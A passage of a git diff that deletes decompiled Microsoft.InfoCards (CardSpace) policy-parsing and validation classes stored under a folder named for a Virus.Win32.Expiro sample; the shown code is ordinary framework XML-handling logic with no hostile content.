primary.m_unprocessedPolicyElements; - mergedPolicy.m_policyAppliesToEpr = (EndpointAddress) null != primary.m_policyAppliesToEpr ? primary.m_policyAppliesToEpr : secondary.m_policyAppliesToEpr; - mergedPolicy.m_keySize = primary.m_keySizeSpecified ? primary.m_keySize : secondary.m_keySize; - mergedPolicy.m_keyType = primary.m_keyTypeSpecified ? primary.m_keyType : secondary.m_keyType; - mergedPolicy.m_nonWhiteListElements = new List(); - mergedPolicy.m_nonWhiteListElementFound = primary.m_nonWhiteListElementFound || secondary.m_nonWhiteListElementFound; - if (primary.m_nonWhiteListElementFound) - mergedPolicy.m_nonWhiteListElements.AddRange((IEnumerable) primary.m_nonWhiteListElements); - if (secondary.m_nonWhiteListElementFound) - mergedPolicy.m_nonWhiteListElements.AddRange((IEnumerable) secondary.m_nonWhiteListElements); - InfoCardTrace.Assert(null != primary.m_protocolProfile, "Received Null Protocol Profile in the Primary Policy"); - mergedPolicy.m_protocolProfile = primary.ProtocolVersionProfile; - mergedPolicy.m_optionalRstParams = OptionalRstParameters.CreateMergedParameters(primary.OptionalRstParams, secondary.OptionalRstParams); - return mergedPolicy; - } - - public string RequestType => this.m_requestType; - - public string PolicyXml => this.m_policyXml; - - public OptionalRstParameters OptionalRstParams => this.m_optionalRstParams; - - public string[] RequiredClaims => this.m_requiredClaimUris; - - public string[] OptionalClaims => this.m_optionalClaimUris; - - public SecurityKeyTypeInternal KeyType => this.m_keyType; - - public bool KeyTypeSpecified => this.m_keyTypeSpecified; - - public EndpointAddress PolicyAppliesTo => this.m_policyAppliesToEpr; - - public MemoryStream UnprocessedPolicyElements => this.m_unprocessedPolicyElements; - - public bool KeySizeSpecified => this.m_keySizeSpecified; - - public uint KeySize => this.m_keySize; - - public bool NonWhiteListElementsFound => this.m_nonWhiteListElementFound; - - public List NonWhiteListElements => this.m_nonWhiteListElements; - - public ProtocolProfile ProtocolVersionProfile => this.m_protocolProfile; - - public void ParsePolicyXml(string policyXml) - { - XmlReader reader = InfoCardSchemas.CreateReader(policyXml); - try - { - this.m_protocolProfile = new ProtocolProfile(policyXml); - bool isEmptyElement = reader.IsEmptyElement; - reader.ReadStartElement(); - if (isEmptyElement) - return; - while (reader.IsStartElement()) - { - if (InfoCardConstants.DoesPolicyElementsToBeProcessedListContain(reader.NamespaceURI, reader.LocalName)) - { - bool flag = false; - if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SignatureAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadSignatureAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.EncryptionAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadEncryptionAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.CanonicalizationAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadCanonicalizationAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SignWith, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadSignWith(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.ClaimsElement, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadClaims(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.TokenType, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadTokenType(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeyType, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeyType(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeySize, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeySize(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.EncryptWith, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadEncryptWith(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.RequestType, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadRequestType(reader); - flag = true; - } - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.SecondaryParameters, this.ProtocolVersionProfile.WSTrust.Namespace)) - this.ReadSecondaryParameters(reader); - else if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.KeyWrapAlgorithm, this.ProtocolVersionProfile.WSTrust.Namespace)) - { - this.ReadKeyWrapAlgorithm(reader); - flag = true; - } - else if (reader.IsStartElement(this.ProtocolVersionProfile.WSPolicy.AppliesTo, this.ProtocolVersionProfile.WSPolicy.Namespace)) - { - this.ReadAppliesTo(reader); - flag = true; - } - else - reader.Skip(); - if (flag) - reader.ReadEndElement(); - } - else - { - if (!InfoCardConstants.DoesLocalTokenFactoryWhiteListContain(reader.NamespaceURI, reader.LocalName)) - { - this.m_nonWhiteListElementFound = true; - this.m_nonWhiteListElements.Add(reader.LocalName); - } - this.CopyUnprocessedPolicyElements(reader); - } - } - reader.ReadEndElement(); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - catch (InvalidOperationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - } - - private void ReadClaims(XmlReader reader) - { - List stringList1 = new List(); - List stringList2 = new List(); - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.ClaimsElement != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - if (XmlNodeType.Element != reader.NodeType) - return; - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - if (!reader.IsStartElement(this.ProtocolVersionProfile.WSTrust.ClaimsElement, this.ProtocolVersionProfile.WSTrust.Namespace)) - return; - if (reader.IsEmptyElement) - { - reader.Read(); - } - else - { - reader.Read(); - while (reader.IsStartElement()) - { - if (reader.IsStartElement("ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - if (XmlNodeType.EndElement != reader.NodeType) - { - string attribute1 = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute1)) - attribute1 = reader.GetAttribute("Uri"); - if (string.IsNullOrEmpty(attribute1)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidClaimUri"))); - string attribute2 = reader.GetAttribute("Optional"); - bool flag1 = false; - if (!string.IsNullOrEmpty(attribute2)) - flag1 = XmlConvert.ToBoolean(attribute2); - bool flag2 = false; - bool flag3 = false; - foreach (string str in stringList1) - { - if (str == attribute1) - { - flag3 = true; - break; - } - } - foreach (string str in stringList2) - { - if (str == attribute1) - { - flag2 = true; - flag3 = true; - break; - } - } - if (flag1) - { - if (!flag3) - stringList2.Add(attribute1); - } - else if (!flag3) - stringList1.Add(attribute1); - else if (flag2) - { - stringList2.Remove(attribute1); - stringList1.Add(attribute1); - } - if (reader.IsEmptyElement) - { - reader.Read(); - } - else - { - reader.Read(); - reader.ReadEndElement(); - } - } - else - break; - } - else - reader.Skip(); - } - } - InfoCardTrace.ThrowInvalidArgumentConditional(XmlNodeType.EndElement != reader.NodeType, reader.NodeType.ToString()); - this.m_requiredClaimUris = stringList1.ToArray(); - this.m_optionalClaimUris = stringList2.ToArray(); - } - - private void ReadTokenType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.TokenType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.TokenType = reader.ReadString(); - } - - public void ReadAppliesTo(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSPolicy.AppliesTo != reader.LocalName || this.ProtocolVersionProfile.WSPolicy.Namespace != reader.NamespaceURI, reader.LocalName); - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")))); - reader.Read(); - EndpointAddress endpointAddress = (EndpointAddress) null; - if (XmlNodeType.EndElement != reader.NodeType) - { - try - { - endpointAddress = EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader.ReadSubtree())); - reader.ReadEndElement(); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")), ex)); - } - if (reader.IsStartElement()) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("AppliesToMustOnlyHaveEndpointAddress")))); - } - this.m_policyAppliesToEpr = endpointAddress; - } - - private void ReadKeyType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeyType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - Uri uri = new Uri(reader.ReadString()); - if (this.ProtocolVersionProfile.WSTrust.KeyTypeSymmetric.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.SymmetricKey; - else if (this.ProtocolVersionProfile.WSTrust.KeyTypeAsymmetric.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.AsymmetricKey; - else if (this.ProtocolVersionProfile.WSTrust.KeyTypeBearer.Equals((object) uri)) - this.m_keyType = SecurityKeyTypeInternal.NoKey; - else - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("KeyTypeNotRecognized", (object) uri.ToString()))); - this.m_keyTypeSpecified = true; - } - - private void ReadKeySize(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeySize != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - try - { - this.m_keySize = Convert.ToUInt32(reader.ReadString(), (IFormatProvider) CultureInfo.InvariantCulture); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceBadKeySizeInPolicy"), (Exception) ex)); - } - catch (OverflowException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceBadKeySizeInPolicy"), (Exception) ex)); - } - this.m_keySizeSpecified = true; - } - - private void ReadSignatureAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SignatureAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.SignatureAlgorithm = reader.ReadString(); - } - - private void ReadEncryptionAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.EncryptionAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.EncryptionAlgorithm = reader.ReadString(); - } - - private void ReadCanonicalizationAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.CanonicalizationAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.CanonicalizationAlgorithm = reader.ReadString(); - } - - private void ReadEncryptWith(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.EncryptWith != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.EncryptWith = reader.ReadString(); - } - - private void ReadSignWith(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SignWith != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.SignWith = reader.ReadString(); - } - - private void ReadRequestType(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.RequestType != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_requestType = reader.ReadString(); - } - - private void ReadSecondaryParameters(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.SecondaryParameters != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - while (reader.IsStartElement()) - reader.Skip(); - } - - private void ReadKeyWrapAlgorithm(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.ProtocolVersionProfile.WSTrust.KeyWrapAlgorithm != reader.LocalName || this.ProtocolVersionProfile.WSTrust.Namespace != reader.NamespaceURI, reader.LocalName); - this.m_optionalRstParams.KeyWrapAlgorithm = reader.ReadString(); - } - - private void CopyUnprocessedPolicyElements(XmlReader reader) - { - if (this.m_unprocessedPolicyElements == null) - this.m_unprocessedPolicyElements = new MemoryStream(); - XmlWriter xmlWriter = XmlWriter.Create((Stream) this.m_unprocessedPolicyElements, new XmlWriterSettings() - { - OmitXmlDeclaration = true - }); - xmlWriter.WriteNode(reader, true); - xmlWriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyFactory.cs deleted file mode 100644 index bdf50399..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyFactory.cs +++ /dev/null @@ -1,141 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.Globalization; -using System.IdentityModel.Selectors; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Security.Tokens; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class PolicyFactory - { - private PolicyFactory() - { - } - - public static Policy CreatePolicyFromUnwrappedPolicyXml(string originalPolicyXml) - { - string rstPolicyXml = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "<{0}:{1} xmlns:{0}='{2}'>{3}", (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.DefaultPrefix, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.RequestSecurityTokenTemplate, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.Namespace, (object) originalPolicyXml); - return new Policy(originalPolicyXml, rstPolicyXml); - } - - public static InfoCardPolicy CreatePolicyForCustomTokenProvider( - EndpointAddress immediateTokenRecipient, - IssuedSecurityTokenParameters issuedTokenParameters, - ProtocolProfile profile) - { - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) issuedTokenParameters.CreateRequestParameters(profile.MsgSecurityVersion, (SecurityTokenSerializer) profile.TokenSerializer)); - return new InfoCardPolicy(immediateTokenRecipient, issuedTokenParameters.IssuerAddress, parsedPolicy, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, false); - } - - public static InfoCardPolicy CreatePolicyForGetBrowserTokenRequest( - CardSpacePolicyElement policyElement, - Uri recipientPolicyNoticeLink, - uint recipientPolicyNoticeVersion, - RecipientIdentity recipientIdentity, - PolicyUsageContext usageContext) - { - EndpointAddress immediateTokenRecipient = (EndpointAddress) null; - if (!string.IsNullOrEmpty(policyElement.Target.OuterXml)) - immediateTokenRecipient = PolicyFactory.CreateEndpointAddressFromString(policyElement.Target.OuterXml); - EndpointAddress issuer = (EndpointAddress) null; - if (policyElement.Issuer != null && !string.IsNullOrEmpty(policyElement.Issuer.OuterXml)) - issuer = PolicyFactory.CreateEndpointAddressFromString(policyElement.Issuer.OuterXml); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) policyElement.Parameters); - return new InfoCardPolicy(immediateTokenRecipient, issuer, parsedPolicy, usageContext, (Uri) null != recipientPolicyNoticeLink ? recipientPolicyNoticeLink.ToString() : (string) null, recipientPolicyNoticeVersion, recipientIdentity, false); - } - - public static InfoCardPolicy CreatePolicyForIntermediateGetBrowserTokenRequest( - CardSpacePolicyElement policyElement, - Uri recipientPolicyNoticeLink, - uint recipientPolicyNoticeVersion, - RecipientIdentity recipientIdentity) - { - EndpointAddress immediateTokenRecipient = (EndpointAddress) null; - if (!string.IsNullOrEmpty(policyElement.Target.OuterXml)) - immediateTokenRecipient = PolicyFactory.CreateEndpointAddressFromString(policyElement.Target.OuterXml); - EndpointAddress issuer = (EndpointAddress) null; - if (policyElement.Issuer != null && !string.IsNullOrEmpty(policyElement.Issuer.OuterXml)) - issuer = PolicyFactory.CreateEndpointAddressFromString(policyElement.Issuer.OuterXml); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) policyElement.Parameters); - return new InfoCardPolicy(immediateTokenRecipient, issuer, parsedPolicy, PolicyUsageContext.Intermediate, (Uri) null != recipientPolicyNoticeLink ? recipientPolicyNoticeLink.ToString() : (string) null, recipientPolicyNoticeVersion, recipientIdentity, false); - } - - public static InfoCardPolicy CreatePolicyForGetTokenRequest( - BinaryReader reader, - string recipientXml, - string issuerXml, - string policyXml, - bool isManaged) - { - if (!string.IsNullOrEmpty(policyXml)) - { - string xml = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "<{0}:{1} xmlns:{0}='{2}'>{3}", (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.DefaultPrefix, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.RequestSecurityTokenTemplate, (object) XmlNames.WSSecurityPolicyXmlSoap2005.Instance.Namespace, (object) policyXml); - XmlDocument xmlDocument = new XmlDocument(); - xmlDocument.LoadXml(xml); - Collection elements = new Collection(); - foreach (XmlElement childNode in xmlDocument.DocumentElement.ChildNodes) - elements.Add(childNode); - ParsedPolicy parsedPolicy = PolicyFactory.CreateParsedPolicy((IEnumerable) elements); - return new InfoCardPolicy(!string.IsNullOrEmpty(recipientXml) ? PolicyFactory.CreateEndpointAddressFromString(recipientXml) : (EndpointAddress) null, !string.IsNullOrEmpty(issuerXml) ? PolicyFactory.CreateEndpointAddressFromString(issuerXml) : (EndpointAddress) null, parsedPolicy, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, isManaged); - } - if (!isManaged) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"))); - return new InfoCardPolicy(!string.IsNullOrEmpty(recipientXml) ? PolicyFactory.CreateEndpointAddressFromString(recipientXml) : (EndpointAddress) null, !string.IsNullOrEmpty(issuerXml) ? PolicyFactory.CreateEndpointAddressFromString(issuerXml) : (EndpointAddress) null, (ParsedPolicy) null, PolicyUsageContext.GetToken, (string) null, 0U, (RecipientIdentity) null, isManaged); - } - - private static ParsedPolicy CreateParsedPolicy(IEnumerable elements) - { - try - { - XmlElement xmlElement = (XmlElement) null; - StringBuilder stringBuilder1 = new StringBuilder(); - StringBuilder stringBuilder2 = new StringBuilder(); - foreach (XmlElement element in elements) - { - stringBuilder2.Append(element.OuterXml); - if (element.LocalName == "SecondaryParameters" && element.NamespaceURI == "http://docs.oasis-open.org/ws-sx/ws-trust/200512") - xmlElement = element; - else - stringBuilder1.Append(element.OuterXml); - } - return xmlElement != null ? new ParsedPolicy(stringBuilder2.ToString(), stringBuilder1.ToString(), xmlElement.InnerXml) : new ParsedPolicy(stringBuilder2.ToString(), stringBuilder1.ToString(), (string) null); - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidPolicySpecified"), (Exception) ex)); - } - } - - private static EndpointAddress CreateEndpointAddressFromString(string fragment) - { - try - { - using (XmlReader reader = PolicyFactory.LoadXmlIntoReader(fragment.Trim())) - { - reader.MoveToElement(); - return EndpointAddress.ReadFrom(XmlDictionaryReader.CreateDictionaryReader(reader)); - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidEprInPolicy"), ex)); - throw; - } - } - - private static XmlReader LoadXmlIntoReader(string fragment) => InfoCardSchemas.CreateReader(fragment); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyType.cs deleted file mode 100644 index 8129d6e9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal enum PolicyType - { - PrimaryOnly, - SecondaryOnly, - Composite, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyUsageContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyUsageContext.cs deleted file mode 100644 index 71770ed0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyUsageContext.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyUsageContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal enum PolicyUsageContext - { - Browser, - Intermediate, - GetToken, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyUtility.cs deleted file mode 100644 index dd471a42..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyUtility.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal class PolicyUtility - { - public static bool IsSelfIssuedTokenType(string tokenType) => "urn:oasis:names:tc:SAML:1.0:assertion" == tokenType || "urn:oasis:names:tc:SAML:1.0:assertion" == tokenType || "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1" == tokenType; - - public static bool IsSelfIssuedClaim(string claimType) - { - foreach (string selfIssuedClaimsUri in InfoCardConstants.SelfIssuedClaimsUris) - { - if (selfIssuedClaimsUri == claimType) - return true; - } - return InfoCardConstants.PPIDClaimsUri == claimType; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyValidationException.cs deleted file mode 100644 index 21b209f2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class PolicyValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413877; - - public PolicyValidationException() - : base(-1073413877) - { - } - - public PolicyValidationException(string message) - : base(-1073413877, message) - { - } - - public PolicyValidationException(string message, Exception inner) - : base(-1073413877, message, inner) - { - } - - protected PolicyValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413877, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyValidator.cs deleted file mode 100644 index a63c1da9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/PolicyValidator.cs +++ /dev/null @@ -1,139 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.PolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class PolicyValidator - { - private InfoCardPolicy m_policy; - - public PolicyValidator(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "PolicyValidator: policy cannot be null."); - this.m_policy = policy; - } - - public virtual void Validate() - { - this.ValidateClaims(); - this.ValidateNonWhiteListElements(); - this.ValidateRequestType(); - this.ValidateTokenType(); - this.ValidateKeySize(); - this.ValidatePrivacyVersion(); - this.ValidateKeyTypeSpecified(); - this.ValidateKeyType(); - this.ValidateKeyWrapAlgorithm(); - this.ValidateAppliesTo(); - this.ValidateRecipients(); - } - - protected void ValidateClaims() - { - string[] requiredClaims = this.m_policy.RequiredClaims; - if (requiredClaims == null || requiredClaims.Length == 0) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - foreach (string requiredClaim in this.m_policy.RequiredClaims) - 